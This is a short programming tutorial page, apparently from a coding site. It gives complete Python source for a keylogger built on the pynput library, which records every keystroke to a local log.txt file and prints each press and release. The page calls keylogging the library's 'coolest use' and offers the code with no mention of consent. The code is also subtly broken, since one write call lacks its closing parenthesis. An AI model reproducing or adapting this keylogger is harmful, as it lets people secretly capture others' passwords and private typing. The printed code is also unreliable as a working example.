Thursday, September 25, 2025
HomeLanguagesHow to use pynput to make a Keylogger?

How to use pynput to make a Keylogger?

Prerequisites: Python Programming Language
The package pynput.keyboard contains classes for controlling and monitoring the keyboard. pynput is the library of Python that can be used to capture keyboard inputs there the coolest use of this can lie in making keyloggers. The code for the keylogger is given below.

Modules needed

pynput: To install pynput type the below command in the terminal.  

 pip install pynput 

Below is the implementation:  

Python3




# keylogger using pynput module
  
import pynput
from pynput.keyboard import Key, Listener
  
keys = []
  
def on_press(key):
     
    keys.append(key)
    write_file(keys)
     
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
         
    except AttributeError:
        print('special key {0} pressed'.format(key))
          
def write_file(keys):
     
    with open('log.txt', 'w') as f:
        for key in keys:
             
            # removing ''
            k = str(key).replace("'", "")
            f.write(k
                     
            # explicitly adding a space after
            # every keystroke for readability
            f.write(' ')
              
def on_release(key):
                     
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
  
  
with Listener(on_press = on_press,
              on_release = on_release) as listener:
                     
    listener.join()


Output: 

python-keylogger-pyinput

 

RELATED ARTICLES

Most Popular

Dominic
32319 POSTS0 COMMENTS
Milvus
84 POSTS0 COMMENTS
Nango Kala
6681 POSTS0 COMMENTS
Nicole Veronica
11854 POSTS0 COMMENTS
Nokonwaba Nkukhwana
11910 POSTS0 COMMENTS
Shaida Kate Naidoo
6794 POSTS0 COMMENTS
Ted Musemwa
7070 POSTS0 COMMENTS
Thapelo Manthata
6753 POSTS0 COMMENTS
Umr Jansen
6761 POSTS0 COMMENTS